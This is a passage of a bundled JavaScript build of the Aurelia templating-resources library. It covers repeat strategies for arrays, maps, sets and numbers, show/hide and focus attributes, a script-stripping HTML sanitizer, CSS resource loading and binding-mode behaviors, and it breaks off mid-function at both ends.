removePromise = repeat.removeViews(viewsToRemove, true, !repeat.viewsRequireLifecycle);
updateViews = function updateViews() {
for (var _index = 0; _index < itemsLength; _index++) {
var item = items[_index];
var indexOfView = (0, _repeatUtilities.indexOf)(itemsPreviouslyInViews, item, matcher, _index);
var _view = void 0;
if (indexOfView === -1) {
var overrideContext = (0, _repeatUtilities.createFullOverrideContext)(repeat, items[_index], _index, itemsLength);
repeat.insertView(_index, overrideContext.bindingContext, overrideContext);
itemsPreviouslyInViews.splice(_index, 0, undefined);
} else if (indexOfView === _index) {
_view = children[indexOfView];
itemsPreviouslyInViews[indexOfView] = undefined;
} else {
_view = children[indexOfView];
repeat.moveView(indexOfView, _index);
itemsPreviouslyInViews.splice(indexOfView, 1);
itemsPreviouslyInViews.splice(_index, 0, undefined);
}
if (_view) {
(0, _repeatUtilities.updateOverrideContext)(_view.overrideContext, _index, itemsLength);
}
}
_this._inPlaceProcessItems(repeat, items);
};
} else {
removePromise = repeat.removeAllViews(true, !repeat.viewsRequireLifecycle);
updateViews = function updateViews() {
return _this._standardProcessInstanceChanged(repeat, items);
};
}
if (removePromise instanceof Promise) {
removePromise.then(updateViews);
} else {
updateViews();
}
})();
} else {
this._inPlaceProcessItems(repeat, items);
}
};
ArrayRepeatStrategy.prototype._standardProcessInstanceChanged = function _standardProcessInstanceChanged(repeat, items) {
for (var i = 0, ii = items.length; i < ii; i++) {
var overrideContext = (0, _repeatUtilities.createFullOverrideContext)(repeat, items[i], i, ii);
repeat.addView(overrideContext.bindingContext, overrideContext);
}
};
ArrayRepeatStrategy.prototype._inPlaceProcessItems = function _inPlaceProcessItems(repeat, items) {
var itemsLength = items.length;
var viewsLength = repeat.viewCount();
while (viewsLength > itemsLength) {
viewsLength--;
repeat.removeView(viewsLength, true, !repeat.viewsRequireLifecycle);
}
var local = repeat.local;
for (var i = 0; i < viewsLength; i++) {
var view = repeat.view(i);
var last = i === itemsLength - 1;
var middle = i !== 0 && !last;
if (view.bindingContext[local] === items[i] && view.overrideContext.$middle === middle && view.overrideContext.$last === last) {
continue;
}
view.bindingContext[local] = items[i];
view.overrideContext.$middle = middle;
view.overrideContext.$last = last;
repeat.updateBindings(view);
}
for (var _i = viewsLength; _i < itemsLength; _i++) {
var overrideContext = (0, _repeatUtilities.createFullOverrideContext)(repeat, items[_i], _i, itemsLength);
repeat.addView(overrideContext.bindingContext, overrideContext);
}
};
ArrayRepeatStrategy.prototype.instanceMutated = function instanceMutated(repeat, array, splices) {
var _this2 = this;
if (repeat.__queuedSplices) {
for (var i = 0, ii = splices.length; i < ii; ++i) {
var _splices$i = splices[i],
index = _splices$i.index,
removed = _splices$i.removed,
addedCount = _splices$i.addedCount;
(0, _aureliaBinding.mergeSplice)(repeat.__queuedSplices, index, removed, addedCount);
}
repeat.__array = array.slice(0);
return;
}
var maybePromise = this._runSplices(repeat, array.slice(0), splices);
if (maybePromise instanceof Promise) {
(function () {
var queuedSplices = repeat.__queuedSplices = [];
var runQueuedSplices = function runQueuedSplices() {
if (!queuedSplices.length) {
repeat.__queuedSplices = undefined;
repeat.__array = undefined;
return;
}
var nextPromise = _this2._runSplices(repeat, repeat.__array, queuedSplices) || Promise.resolve();
queuedSplices = repeat.__queuedSplices = [];
nextPromise.then(runQueuedSplices);
};
maybePromise.then(runQueuedSplices);
})();
}
};
ArrayRepeatStrategy.prototype._runSplices = function _runSplices(repeat, array, splices) {
var _this3 = this;
var removeDelta = 0;
var rmPromises = [];
for (var i = 0, ii = splices.length; i < ii; ++i) {
var splice = splices[i];
var removed = splice.removed;
for (var j = 0, jj = removed.length; j < jj; ++j) {
var viewOrPromise = repeat.removeView(splice.index + removeDelta + rmPromises.length, true);
if (viewOrPromise instanceof Promise) {
rmPromises.push(viewOrPromise);
}
}
removeDelta -= splice.addedCount;
}
if (rmPromises.length > 0) {
return Promise.all(rmPromises).then(function () {
var spliceIndexLow = _this3._handleAddedSplices(repeat, array, splices);
(0, _repeatUtilities.updateOverrideContexts)(repeat.views(), spliceIndexLow);
});
}
var spliceIndexLow = this._handleAddedSplices(repeat, array, splices);
(0, _repeatUtilities.updateOverrideContexts)(repeat.views(), spliceIndexLow);
return undefined;
};
ArrayRepeatStrategy.prototype._handleAddedSplices = function _handleAddedSplices(repeat, array, splices) {
var spliceIndex = void 0;
var spliceIndexLow = void 0;
var arrayLength = array.length;
for (var i = 0, ii = splices.length; i < ii; ++i) {
var splice = splices[i];
var addIndex = spliceIndex = splice.index;
var end = splice.index + splice.addedCount;
if (typeof spliceIndexLow === 'undefined' || spliceIndexLow === null || spliceIndexLow > splice.index) {
spliceIndexLow = spliceIndex;
}
for (; addIndex < end; ++addIndex) {
var overrideContext = (0, _repeatUtilities.createFullOverrideContext)(repeat, array[addIndex], addIndex, arrayLength);
repeat.insertView(addIndex, overrideContext.bindingContext, overrideContext);
}
}
return spliceIndexLow;
};
return ArrayRepeatStrategy;
}();
});
define('aurelia-templating-resources/repeat-utilities',['exports', 'aurelia-binding'], function (exports, _aureliaBinding) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.updateOverrideContexts = updateOverrideContexts;
exports.createFullOverrideContext = createFullOverrideContext;
exports.updateOverrideContext = updateOverrideContext;
exports.getItemsSourceExpression = getItemsSourceExpression;
exports.unwrapExpression = unwrapExpression;
exports.isOneTime = isOneTime;
exports.updateOneTimeBinding = updateOneTimeBinding;
exports.indexOf = indexOf;
var oneTime = _aureliaBinding.bindingMode.oneTime;
function updateOverrideContexts(views, startIndex) {
var length = views.length;
if (startIndex > 0) {
startIndex = startIndex - 1;
}
for (; startIndex < length; ++startIndex) {
updateOverrideContext(views[startIndex].overrideContext, startIndex, length);
}
}
function createFullOverrideContext(repeat, data, index, length, key) {
var bindingContext = {};
var overrideContext = (0, _aureliaBinding.createOverrideContext)(bindingContext, repeat.scope.overrideContext);
if (typeof key !== 'undefined') {
bindingContext[repeat.key] = key;
bindingContext[repeat.value] = data;
} else {
bindingContext[repeat.local] = data;
}
updateOverrideContext(overrideContext, index, length);
return overrideContext;
}
function updateOverrideContext(overrideContext, index, length) {
var first = index === 0;
var last = index === length - 1;
var even = index % 2 === 0;
overrideContext.$index = index;
overrideContext.$first = first;
overrideContext.$last = last;
overrideContext.$middle = !(first || last);
overrideContext.$odd = !even;
overrideContext.$even = even;
}
function getItemsSourceExpression(instruction, attrName) {
return instruction.behaviorInstructions.filter(function (bi) {
return bi.originalAttrName === attrName;
})[0].attributes.items.sourceExpression;
}
function unwrapExpression(expression) {
var unwrapped = false;
while (expression instanceof _aureliaBinding.BindingBehavior) {
expression = expression.expression;
}
while (expression instanceof _aureliaBinding.ValueConverter) {
expression = expression.expression;
unwrapped = true;
}
return unwrapped ? expression : null;
}
function isOneTime(expression) {
while (expression instanceof _aureliaBinding.BindingBehavior) {
if (expression.name === 'oneTime') {
return true;
}
expression = expression.expression;
}
return false;
}
function updateOneTimeBinding(binding) {
if (binding.call && binding.mode === oneTime) {
binding.call(_aureliaBinding.sourceContext);
} else if (binding.updateOneTimeBindings) {
binding.updateOneTimeBindings();
}
}
function indexOf(array, item, matcher, startIndex) {
if (!matcher) {
return array.indexOf(item);
}
var length = array.length;
for (var index = startIndex || 0; index < length; index++) {
if (matcher(array[index], item)) {
return index;
}
}
return -1;
}
});
define('aurelia-templating-resources/map-repeat-strategy',['exports', './repeat-utilities'], function (exports, _repeatUtilities) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.MapRepeatStrategy = undefined;
var MapRepeatStrategy = exports.MapRepeatStrategy = function () {
function MapRepeatStrategy() {
}
MapRepeatStrategy.prototype.getCollectionObserver = function getCollectionObserver(observerLocator, items) {
return observerLocator.getMapObserver(items);
};
MapRepeatStrategy.prototype.instanceChanged = function instanceChanged(repeat, items) {
var _this = this;
var removePromise = repeat.removeAllViews(true, !repeat.viewsRequireLifecycle);
if (removePromise instanceof Promise) {
removePromise.then(function () {
return _this._standardProcessItems(repeat, items);
});
return;
}
this._standardProcessItems(repeat, items);
};
MapRepeatStrategy.prototype._standardProcessItems = function _standardProcessItems(repeat, items) {
var index = 0;
var overrideContext = void 0;
items.forEach(function (value, key) {
overrideContext = (0, _repeatUtilities.createFullOverrideContext)(repeat, value, index, items.size, key);
repeat.addView(overrideContext.bindingContext, overrideContext);
++index;
});
};
MapRepeatStrategy.prototype.instanceMutated = function instanceMutated(repeat, map, records) {
var key = void 0;
var i = void 0;
var ii = void 0;
var overrideContext = void 0;
var removeIndex = void 0;
var record = void 0;
var rmPromises = [];
var viewOrPromise = void 0;
for (i = 0, ii = records.length; i < ii; ++i) {
record = records[i];
key = record.key;
switch (record.type) {
case 'update':
removeIndex = this._getViewIndexByKey(repeat, key);
viewOrPromise = repeat.removeView(removeIndex, true, !repeat.viewsRequireLifecycle);
if (viewOrPromise instanceof Promise) {
rmPromises.push(viewOrPromise);
}
overrideContext = (0, _repeatUtilities.createFullOverrideContext)(repeat, map.get(key), removeIndex, map.size, key);
repeat.insertView(removeIndex, overrideContext.bindingContext, overrideContext);
break;
case 'add':
overrideContext = (0, _repeatUtilities.createFullOverrideContext)(repeat, map.get(key), map.size - 1, map.size, key);
repeat.insertView(map.size - 1, overrideContext.bindingContext, overrideContext);
break;
case 'delete':
if (record.oldValue === undefined) {
return;
}
removeIndex = this._getViewIndexByKey(repeat, key);
viewOrPromise = repeat.removeView(removeIndex, true, !repeat.viewsRequireLifecycle);
if (viewOrPromise instanceof Promise) {
rmPromises.push(viewOrPromise);
}
break;
case 'clear':
repeat.removeAllViews(true, !repeat.viewsRequireLifecycle);
break;
default:
continue;
}
}
if (rmPromises.length > 0) {
Promise.all(rmPromises).then(function () {
(0, _repeatUtilities.updateOverrideContexts)(repeat.views(), 0);
});
} else {
(0, _repeatUtilities.updateOverrideContexts)(repeat.views(), 0);
}
};
MapRepeatStrategy.prototype._getViewIndexByKey = function _getViewIndexByKey(repeat, key) {
var i = void 0;
var ii = void 0;
var child = void 0;
for (i = 0, ii = repeat.viewCount(); i < ii; ++i) {
child = repeat.view(i);
if (child.bindingContext[repeat.key] === key) {
return i;
}
}
return undefined;
};
return MapRepeatStrategy;
}();
});
define('aurelia-templating-resources/set-repeat-strategy',['exports', './repeat-utilities'], function (exports, _repeatUtilities) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.SetRepeatStrategy = undefined;
var SetRepeatStrategy = exports.SetRepeatStrategy = function () {
function SetRepeatStrategy() {
}
SetRepeatStrategy.prototype.getCollectionObserver = function getCollectionObserver(observerLocator, items) {
return observerLocator.getSetObserver(items);
};
SetRepeatStrategy.prototype.instanceChanged = function instanceChanged(repeat, items) {
var _this = this;
var removePromise = repeat.removeAllViews(true, !repeat.viewsRequireLifecycle);
if (removePromise instanceof Promise) {
removePromise.then(function () {
return _this._standardProcessItems(repeat, items);
});
return;
}
this._standardProcessItems(repeat, items);
};
SetRepeatStrategy.prototype._standardProcessItems = function _standardProcessItems(repeat, items) {
var index = 0;
var overrideContext = void 0;
items.forEach(function (value) {
overrideContext = (0, _repeatUtilities.createFullOverrideContext)(repeat, value, index, items.size);
repeat.addView(overrideContext.bindingContext, overrideContext);
++index;
});
};
SetRepeatStrategy.prototype.instanceMutated = function instanceMutated(repeat, set, records) {
var value = void 0;
var i = void 0;
var ii = void 0;
var overrideContext = void 0;
var removeIndex = void 0;
var record = void 0;
var rmPromises = [];
var viewOrPromise = void 0;
for (i = 0, ii = records.length; i < ii; ++i) {
record = records[i];
value = record.value;
switch (record.type) {
case 'add':
overrideContext = (0, _repeatUtilities.createFullOverrideContext)(repeat, value, set.size - 1, set.size);
repeat.insertView(set.size - 1, overrideContext.bindingContext, overrideContext);
break;
case 'delete':
removeIndex = this._getViewIndexByValue(repeat, value);
viewOrPromise = repeat.removeView(removeIndex, true, !repeat.viewsRequireLifecycle);
if (viewOrPromise instanceof Promise) {
rmPromises.push(viewOrPromise);
}
break;
case 'clear':
repeat.removeAllViews(true, !repeat.viewsRequireLifecycle);
break;
default:
continue;
}
}
if (rmPromises.length > 0) {
Promise.all(rmPromises).then(function () {
(0, _repeatUtilities.updateOverrideContexts)(repeat.views(), 0);
});
} else {
(0, _repeatUtilities.updateOverrideContexts)(repeat.views(), 0);
}
};
SetRepeatStrategy.prototype._getViewIndexByValue = function _getViewIndexByValue(repeat, value) {
var i = void 0;
var ii = void 0;
var child = void 0;
for (i = 0, ii = repeat.viewCount(); i < ii; ++i) {
child = repeat.view(i);
if (child.bindingContext[repeat.local] === value) {
return i;
}
}
return undefined;
};
return SetRepeatStrategy;
}();
});
define('aurelia-templating-resources/number-repeat-strategy',['exports', './repeat-utilities'], function (exports, _repeatUtilities) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.NumberRepeatStrategy = undefined;
var NumberRepeatStrategy = exports.NumberRepeatStrategy = function () {
function NumberRepeatStrategy() {
}
NumberRepeatStrategy.prototype.getCollectionObserver = function getCollectionObserver() {
return null;
};
NumberRepeatStrategy.prototype.instanceChanged = function instanceChanged(repeat, value) {
var _this = this;
var removePromise = repeat.removeAllViews(true, !repeat.viewsRequireLifecycle);
if (removePromise instanceof Promise) {
removePromise.then(function () {
return _this._standardProcessItems(repeat, value);
});
return;
}
this._standardProcessItems(repeat, value);
};
NumberRepeatStrategy.prototype._standardProcessItems = function _standardProcessItems(repeat, value) {
var childrenLength = repeat.viewCount();
var i = void 0;
var ii = void 0;
var overrideContext = void 0;
var viewsToRemove = void 0;
value = Math.floor(value);
viewsToRemove = childrenLength - value;
if (viewsToRemove > 0) {
if (viewsToRemove > childrenLength) {
viewsToRemove = childrenLength;
}
for (i = 0, ii = viewsToRemove; i < ii; ++i) {
repeat.removeView(childrenLength - (i + 1), true, !repeat.viewsRequireLifecycle);
}
return;
}
for (i = childrenLength, ii = value; i < ii; ++i) {
overrideContext = (0, _repeatUtilities.createFullOverrideContext)(repeat, i, i, ii);
repeat.addView(overrideContext.bindingContext, overrideContext);
}
(0, _repeatUtilities.updateOverrideContexts)(repeat.views(), 0);
};
return NumberRepeatStrategy;
}();
});
define('aurelia-templating-resources/analyze-view-factory',['exports'], function (exports) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.viewsRequireLifecycle = viewsRequireLifecycle;
var lifecycleOptionalBehaviors = exports.lifecycleOptionalBehaviors = ['focus', 'if', 'repeat', 'show', 'with'];
function behaviorRequiresLifecycle(instruction) {
var t = instruction.type;
var name = t.elementName !== null ? t.elementName : t.attributeName;
return lifecycleOptionalBehaviors.indexOf(name) === -1 && (t.handlesAttached || t.handlesBind || t.handlesCreated || t.handlesDetached || t.handlesUnbind) || t.viewFactory && viewsRequireLifecycle(t.viewFactory) || instruction.viewFactory && viewsRequireLifecycle(instruction.viewFactory);
}
function targetRequiresLifecycle(instruction) {
var behaviors = instruction.behaviorInstructions;
if (behaviors) {
var i = behaviors.length;
while (i--) {
if (behaviorRequiresLifecycle(behaviors[i])) {
return true;
}
}
}
return instruction.viewFactory && viewsRequireLifecycle(instruction.viewFactory);
}
function viewsRequireLifecycle(viewFactory) {
if ('_viewsRequireLifecycle' in viewFactory) {
return viewFactory._viewsRequireLifecycle;
}
viewFactory._viewsRequireLifecycle = false;
if (viewFactory.viewFactory) {
viewFactory._viewsRequireLifecycle = viewsRequireLifecycle(viewFactory.viewFactory);
return viewFactory._viewsRequireLifecycle;
}
if (viewFactory.template.querySelector('.au-animate')) {
viewFactory._viewsRequireLifecycle = true;
return true;
}
for (var id in viewFactory.instructions) {
if (targetRequiresLifecycle(viewFactory.instructions[id])) {
viewFactory._viewsRequireLifecycle = true;
return true;
}
}
viewFactory._viewsRequireLifecycle = false;
return false;
}
});
define('aurelia-templating-resources/abstract-repeater',['exports'], function (exports) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
var AbstractRepeater = exports.AbstractRepeater = function () {
function AbstractRepeater(options) {
Object.assign(this, {
local: 'items',
viewsRequireLifecycle: true
}, options);
}
AbstractRepeater.prototype.viewCount = function viewCount() {
throw new Error('subclass must implement `viewCount`');
};
AbstractRepeater.prototype.views = function views() {
throw new Error('subclass must implement `views`');
};
AbstractRepeater.prototype.view = function view(index) {
throw new Error('subclass must implement `view`');
};
AbstractRepeater.prototype.matcher = function matcher() {
throw new Error('subclass must implement `matcher`');
};
AbstractRepeater.prototype.addView = function addView(bindingContext, overrideContext) {
throw new Error('subclass must implement `addView`');
};
AbstractRepeater.prototype.insertView = function insertView(index, bindingContext, overrideContext) {
throw new Error('subclass must implement `insertView`');
};
AbstractRepeater.prototype.moveView = function moveView(sourceIndex, targetIndex) {
throw new Error('subclass must implement `moveView`');
};
AbstractRepeater.prototype.removeAllViews = function removeAllViews(returnToCache, skipAnimation) {
throw new Error('subclass must implement `removeAllViews`');
};
AbstractRepeater.prototype.removeViews = function removeViews(viewsToRemove, returnToCache, skipAnimation) {
throw new Error('subclass must implement `removeView`');
};
AbstractRepeater.prototype.removeView = function removeView(index, returnToCache, skipAnimation) {
throw new Error('subclass must implement `removeView`');
};
AbstractRepeater.prototype.updateBindings = function updateBindings(view) {
throw new Error('subclass must implement `updateBindings`');
};
return AbstractRepeater;
}();
});
define('aurelia-templating-resources/show',['exports', 'aurelia-dependency-injection', 'aurelia-templating', 'aurelia-pal', './aurelia-hide-style'], function (exports, _aureliaDependencyInjection, _aureliaTemplating, _aureliaPal, _aureliaHideStyle) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.Show = undefined;
var _dec, _dec2, _class;
var Show = exports.Show = (_dec = (0, _aureliaTemplating.customAttribute)('show'), _dec2 = (0, _aureliaDependencyInjection.inject)(_aureliaPal.DOM.Element, _aureliaTemplating.Animator, _aureliaDependencyInjection.Optional.of(_aureliaPal.DOM.boundary, true)), _dec(_class = _dec2(_class = function () {
function Show(element, animator, domBoundary) {
this.element = element;
this.animator = animator;
this.domBoundary = domBoundary;
}
Show.prototype.created = function created() {
(0, _aureliaHideStyle.injectAureliaHideStyleAtBoundary)(this.domBoundary);
};
Show.prototype.valueChanged = function valueChanged(newValue) {
if (newValue) {
this.animator.removeClass(this.element, _aureliaHideStyle.aureliaHideClassName);
} else {
this.animator.addClass(this.element, _aureliaHideStyle.aureliaHideClassName);
}
};
Show.prototype.bind = function bind(bindingContext) {
this.valueChanged(this.value);
};
return Show;
}()) || _class) || _class);
});
define('aurelia-templating-resources/aurelia-hide-style',['exports', 'aurelia-pal'], function (exports, _aureliaPal) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.aureliaHideClassName = undefined;
exports.injectAureliaHideStyleAtHead = injectAureliaHideStyleAtHead;
exports.injectAureliaHideStyleAtBoundary = injectAureliaHideStyleAtBoundary;
var aureliaHideClassName = exports.aureliaHideClassName = 'aurelia-hide';
var aureliaHideClass = '.' + aureliaHideClassName + ' { display:none !important; }';
function injectAureliaHideStyleAtHead() {
_aureliaPal.DOM.injectStyles(aureliaHideClass);
}
function injectAureliaHideStyleAtBoundary(domBoundary) {
if (_aureliaPal.FEATURE.shadowDOM && domBoundary && !domBoundary.hasAureliaHideStyle) {
domBoundary.hasAureliaHideStyle = true;
_aureliaPal.DOM.injectStyles(aureliaHideClass, domBoundary);
}
}
});
define('aurelia-templating-resources/hide',['exports', 'aurelia-dependency-injection', 'aurelia-templating', 'aurelia-pal', './aurelia-hide-style'], function (exports, _aureliaDependencyInjection, _aureliaTemplating, _aureliaPal, _aureliaHideStyle) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.Hide = undefined;
var _dec, _dec2, _class;
var Hide = exports.Hide = (_dec = (0, _aureliaTemplating.customAttribute)('hide'), _dec2 = (0, _aureliaDependencyInjection.inject)(_aureliaPal.DOM.Element, _aureliaTemplating.Animator, _aureliaDependencyInjection.Optional.of(_aureliaPal.DOM.boundary, true)), _dec(_class = _dec2(_class = function () {
function Hide(element, animator, domBoundary) {
this.element = element;
this.animator = animator;
this.domBoundary = domBoundary;
}
Hide.prototype.created = function created() {
(0, _aureliaHideStyle.injectAureliaHideStyleAtBoundary)(this.domBoundary);
};
Hide.prototype.valueChanged = function valueChanged(newValue) {
if (newValue) {
this.animator.addClass(this.element, _aureliaHideStyle.aureliaHideClassName);
} else {
this.animator.removeClass(this.element, _aureliaHideStyle.aureliaHideClassName);
}
};
Hide.prototype.bind = function bind(bindingContext) {
this.valueChanged(this.value);
};
return Hide;
}()) || _class) || _class);
});
define('aurelia-templating-resources/sanitize-html',['exports', 'aurelia-binding', 'aurelia-dependency-injection', './html-sanitizer'], function (exports, _aureliaBinding, _aureliaDependencyInjection, _htmlSanitizer) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.SanitizeHTMLValueConverter = undefined;
var _dec, _dec2, _class;
var SanitizeHTMLValueConverter = exports.SanitizeHTMLValueConverter = (_dec = (0, _aureliaBinding.valueConverter)('sanitizeHTML'), _dec2 = (0, _aureliaDependencyInjection.inject)(_htmlSanitizer.HTMLSanitizer), _dec(_class = _dec2(_class = function () {
function SanitizeHTMLValueConverter(sanitizer) {
this.sanitizer = sanitizer;
}
SanitizeHTMLValueConverter.prototype.toView = function toView(untrustedMarkup) {
if (untrustedMarkup === null || untrustedMarkup === undefined) {
return null;
}
return this.sanitizer.sanitize(untrustedMarkup);
};
return SanitizeHTMLValueConverter;
}()) || _class) || _class);
});
define('aurelia-templating-resources/html-sanitizer',['exports'], function (exports) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
var SCRIPT_REGEX = /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi;
var HTMLSanitizer = exports.HTMLSanitizer = function () {
function HTMLSanitizer() {
}
HTMLSanitizer.prototype.sanitize = function sanitize(input) {
return input.replace(SCRIPT_REGEX, '');
};
return HTMLSanitizer;
}();
});
define('aurelia-templating-resources/replaceable',['exports', 'aurelia-dependency-injection', 'aurelia-templating'], function (exports, _aureliaDependencyInjection, _aureliaTemplating) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.Replaceable = undefined;
var _dec, _dec2, _class;
var Replaceable = exports.Replaceable = (_dec = (0, _aureliaTemplating.customAttribute)('replaceable'), _dec2 = (0, _aureliaDependencyInjection.inject)(_aureliaTemplating.BoundViewFactory, _aureliaTemplating.ViewSlot), _dec(_class = (0, _aureliaTemplating.templateController)(_class = _dec2(_class = function () {
function Replaceable(viewFactory, viewSlot) {
this.viewFactory = viewFactory;
this.viewSlot = viewSlot;
this.view = null;
}
Replaceable.prototype.bind = function bind(bindingContext, overrideContext) {
if (this.view === null) {
this.view = this.viewFactory.create();
this.viewSlot.add(this.view);
}
this.view.bind(bindingContext, overrideContext);
};
Replaceable.prototype.unbind = function unbind() {
this.view.unbind();
};
return Replaceable;
}()) || _class) || _class) || _class);
});
define('aurelia-templating-resources/focus',['exports', 'aurelia-templating', 'aurelia-binding', 'aurelia-dependency-injection', 'aurelia-task-queue', 'aurelia-pal'], function (exports, _aureliaTemplating, _aureliaBinding, _aureliaDependencyInjection, _aureliaTaskQueue, _aureliaPal) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.Focus = undefined;
var _dec, _dec2, _class;
var Focus = exports.Focus = (_dec = (0, _aureliaTemplating.customAttribute)('focus', _aureliaBinding.bindingMode.twoWay), _dec2 = (0, _aureliaDependencyInjection.inject)(_aureliaPal.DOM.Element, _aureliaTaskQueue.TaskQueue), _dec(_class = _dec2(_class = function () {
function Focus(element, taskQueue) {
var _this = this;
this.element = element;
this.taskQueue = taskQueue;
this.isAttached = false;
this.needsApply = false;
this.focusListener = function (e) {
_this.value = true;
};
this.blurListener = function (e) {
if (_aureliaPal.DOM.activeElement !== _this.element) {
_this.value = false;
}
};
}
Focus.prototype.valueChanged = function valueChanged(newValue) {
if (this.isAttached) {
this._apply();
} else {
this.needsApply = true;
}
};
Focus.prototype._apply = function _apply() {
var _this2 = this;
if (this.value) {
this.taskQueue.queueMicroTask(function () {
if (_this2.value) {
_this2.element.focus();
}
});
} else {
this.element.blur();
}
};
Focus.prototype.attached = function attached() {
this.isAttached = true;
if (this.needsApply) {
this.needsApply = false;
this._apply();
}
this.element.addEventListener('focus', this.focusListener);
this.element.addEventListener('blur', this.blurListener);
};
Focus.prototype.detached = function detached() {
this.isAttached = false;
this.element.removeEventListener('focus', this.focusListener);
this.element.removeEventListener('blur', this.blurListener);
};
return Focus;
}()) || _class) || _class);
});
define('aurelia-templating-resources/css-resource',['exports', 'aurelia-templating', 'aurelia-loader', 'aurelia-dependency-injection', 'aurelia-path', 'aurelia-pal'], function (exports, _aureliaTemplating, _aureliaLoader, _aureliaDependencyInjection, _aureliaPath, _aureliaPal) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports._createCSSResource = _createCSSResource;
function _possibleConstructorReturn(self, call) {
if (!self) {
throw new ReferenceError("this hasn't been initialised - super() hasn't been called");
}
return call && (typeof call === "object" || typeof call === "function") ? call : self;
}
function _inherits(subClass, superClass) {
if (typeof superClass !== "function" && superClass !== null) {
throw new TypeError("Super expression must either be null or a function, not " + typeof superClass);
}
subClass.prototype = Object.create(superClass && superClass.prototype, {
constructor: {
value: subClass,
enumerable: false,
writable: true,
configurable: true
}
});
if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass;
}
var cssUrlMatcher = /url\((?!['"]data)([^)]+)\)/gi;
function fixupCSSUrls(address, css) {
if (typeof css !== 'string') {
throw new Error('Failed loading required CSS file: ' + address);
}
return css.replace(cssUrlMatcher, function (match, p1) {
var quote = p1.charAt(0);
if (quote === '\'' || quote === '"') {
p1 = p1.substr(1, p1.length - 2);
}
return 'url(\'' + (0, _aureliaPath.relativeToFile)(p1, address) + '\')';
});
}
var CSSResource = function () {
function CSSResource(address) {
this.address = address;
this._scoped = null;
this._global = false;
this._alreadyGloballyInjected = false;
}
CSSResource.prototype.initialize = function initialize(container, target) {
this._scoped = new target(this);
};
CSSResource.prototype.register = function register(registry, name) {
if (name === 'scoped') {
registry.registerViewEngineHooks(this._scoped);
} else {
this._global = true;
}
};
CSSResource.prototype.load = function load(container) {
var _this = this;
return container.get(_aureliaLoader.Loader).loadText(this.address).catch(function (err) {
return null;
}).then(function (text) {
text = fixupCSSUrls(_this.address, text);
_this._scoped.css = text;
if (_this._global) {
_this._alreadyGloballyInjected = true;
_aureliaPal.DOM.injectStyles(text);
}
});
};
return CSSResource;
}();
var CSSViewEngineHooks = function () {
function CSSViewEngineHooks(owner) {
this.owner = owner;
this.css = null;
}
CSSViewEngineHooks.prototype.beforeCompile = function beforeCompile(content, resources, instruction) {
if (instruction.targetShadowDOM) {
_aureliaPal.DOM.injectStyles(this.css, content, true);
} else if (_aureliaPal.FEATURE.scopedCSS) {
var styleNode = _aureliaPal.DOM.injectStyles(this.css, content, true);
styleNode.setAttribute('scoped', 'scoped');
} else if (!this.owner._alreadyGloballyInjected) {
_aureliaPal.DOM.injectStyles(this.css);
this.owner._alreadyGloballyInjected = true;
}
};
return CSSViewEngineHooks;
}();
function _createCSSResource(address) {
var _dec, _class;
var ViewCSS = (_dec = (0, _aureliaTemplating.resource)(new CSSResource(address)), _dec(_class = function (_CSSViewEngineHooks) {
_inherits(ViewCSS, _CSSViewEngineHooks);
function ViewCSS() {
return _possibleConstructorReturn(this, _CSSViewEngineHooks.apply(this, arguments));
}
return ViewCSS;
}(CSSViewEngineHooks)) || _class);
return ViewCSS;
}
});
define('aurelia-templating-resources/attr-binding-behavior',['exports', 'aurelia-binding'], function (exports, _aureliaBinding) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.AttrBindingBehavior = undefined;
var AttrBindingBehavior = exports.AttrBindingBehavior = function () {
function AttrBindingBehavior() {
}
AttrBindingBehavior.prototype.bind = function bind(binding, source) {
binding.targetObserver = new _aureliaBinding.DataAttributeObserver(binding.target, binding.targetProperty);
};
AttrBindingBehavior.prototype.unbind = function unbind(binding, source) {};
return AttrBindingBehavior;
}();
});
define('aurelia-templating-resources/binding-mode-behaviors',['exports', 'aurelia-binding', 'aurelia-metadata'], function (exports, _aureliaBinding, _aureliaMetadata) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.TwoWayBindingBehavior = exports.OneWayBindingBehavior = exports.OneTimeBindingBehavior = undefined;
var _dec, _class, _dec2, _class2, _dec3, _class3;
var modeBindingBehavior = {
bind: function bind(binding, source, lookupFunctions) {
binding.originalMode = binding.mode;
binding.mode = this.mode;
},
unbind: function unbind(binding, source) {
binding.mode = binding.originalMode;
binding.originalMode = null;
}
};
var OneTimeBindingBehavior = exports.OneTimeBindingBehavior = (_dec = (0, _aureliaMetadata.mixin)(modeBindingBehavior), _dec(_class = function OneTimeBindingBehavior() {
this.mode = _aureliaBinding.bindingMode.oneTime;
}) || _class);
var OneWayBindingBehavior = exports.OneWayBindingBehavior = (_dec2 = (0, _aureliaMetadata.mixin)(modeBindingBehavior), _dec2(_class2 = function OneWayBindingBehavior() {
this.mode = _aureliaBinding.bindingMode.oneWay;
}) || _class2);
var TwoWayBindingBehavior = exports.TwoWayBindingBehavior = (_dec3 = (0, _aureliaMetadata.mixin)(modeBindingBehavior), _dec3(_class3 = function TwoWayBindingBehavior() {
this.mode = _aureliaBinding.bindingMode.twoWay;
}) || _class3);
});
define('aurelia-templating-resources/throttle-binding-behavior',['exports', 'aurelia-binding'], function (exports, _aureliaBinding) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.ThrottleBindingBehavior = undefined;
function throttle(newValue) {
var _this = this;
var state = this.throttleState;
var elapsed = +new Date() - state.last;
if (elapsed >= state.delay) {
